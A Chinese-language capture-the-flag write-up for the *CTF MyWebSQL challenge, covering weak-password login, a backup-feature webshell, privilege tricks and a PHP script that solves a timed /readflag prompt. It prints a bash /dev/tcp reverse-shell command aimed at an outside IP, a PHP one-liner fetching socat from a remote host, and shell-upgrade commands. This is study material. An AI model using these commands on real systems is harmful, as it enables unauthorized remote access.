*CTF mywebsql WP

前言

其实这道题不难,但是坑比较多在此,所以还是记录一下
一共三道Web,一道node的报错题给研究js的师傅做掉了,一道php pwn肝了一天时间戳就是对不齐,还有一道此题,不得不说打这个比赛感觉自己就是Bin选手

第一步

首先题目环境给了一个sql的管理平台(MyWebSql),类似于phpmyadmin,弱口令探测发现admin,admin。首先
show variables like "%secure%"

图片.png
很明显发现并没有任意目录写文件的权利,然后由于我们不是root用户不能开启日志,通过日志文件写文件的方法也走不通。这个时候只能想到这种数据库管理应用自带的功能下手,查阅资料发现一篇
https://github.com/eddietcc/CVEnotes/tree/master/MyWebSQL/RCE
提到了Mywebsql后台提供了一个数据库备份的功能,备份目录在web目录下,且文件名可控,只要我们新建一个数据表,内容填写一句话木马内容,即可获取一个webshell
图片.png
图片.png
由于我用的是system的webshell,不是很方便,于是我想通过bash反弹到我的公网vps上,但是直接输入?cmd=bash的反弹shell不得行,于是我绕了个弯

http://34.92.36.201:10080/backups/evoa1.php?cmd=echo%20%27bash%20-i%20%3E%26%20%2fdev%2ftcp%2f47.106.65.216%2f1002%200%3E%261%27%20%3E%20%2fvar%2fwww%2fhtml%2fbackups%2fevoa.sh
http://34.92.36.201:10080/backups/evoa1.php?cmd=bash /var/www/html/backups/evoa.sh

图片.png
这里查看更目录发现两个文件,一个/flag 一个/readflag
/flag我们没有权限去读,/readflag需要回答一个运算式,是一个交互式应用,回答时间很短但回答正确就会输出flag

这里有个小技巧,我们bash反弹过来的shell不是交互式的,所以不能直接运行交互式应用
图片.png
这个时候可以用python的

python -c 'import pty; pty.spawn("/bin/bash")'

直接把shell变成一个半交互式的shell,就可以调用一些交互式程序,比如su
但是目标环境把python删了,于是可以用另一个方法

script /dev/null

这个也可以升级成交互式shell,/dev/null代表把日志输出到空,否者会留下文件
图片.png
回答给的时间特别短,于是我们把/readflag移到本地让bin选手去逆向分析了
分析出来就是如果输入的等于问题的答案就读取/flag给你flag,但是时间很都短,必须写脚本算

至于为什么我们可以运行/readflag,不能读取/flag,但是/readflag又可以调用/flag,可以去了解一下linux的suid机制

一开始我觉得这有点像pwn题,于是准备上传一个socat把这个应用绑定到端口让pwn选手用pwntools来做
但是目标没有curl,没有wget,于是我只能用php来下载文件

php -r "file_put_contents('/tmp/socat',file_get_contents('http://xx.xxx.xxx.xxx/socat'));"

结果上传成功以后发现目标机是docker,端口无法弹到公网,这条路失败。于是只能把脚本上传到目标机,让目标机运行脚本获取flag
由于目标机没有python,有perl环境但是不会写,于是只能通过php来调用交互式程序来做题
从来没有用php掉交互式程序,还是查询资料
https://www.php.net/manual/zh/function.proc-open.php
通过proc_open调用交互式程序,并且通过读写输入输出流来进行交互,这里有个坑就是第一次调用输出流不能使用stream_get_contents,否者第二次输出输出流就会为空读不到flag,不知道为什么,这里贴一下我的exp(pwn师傅调的)

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes 现在看起来是这样的:
    // 0 => 可以向子进程标准输入写入的句柄
    // 1 => 可以从子进程标准输出读取的句柄
    // 错误输出将被追加到文件 /tmp/error-output.txt

    //fwrite($pipes[0], '');
    //fclose($pipes[0]);

        $output1 = fread($pipes[1],1024);
        var_dump($output);
        $output2 = fread($pipes[1],1024);
        var_dump($output);
        $output3 = fread($pipes[1],1024);
        var_dump($output);
    
    $calc = trim($output2);
    $an = eval("return $calc;");
    var_dump($an);
    fwrite($pipes[0], (string)$an."\n");

    $output = stream_get_contents($pipes[1]);
    var_dump($output);


    // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

vps上的文件注意后缀,如果有php环境并且后缀为php这里得到的就是解析后的数据,文件内容为空。

图片.png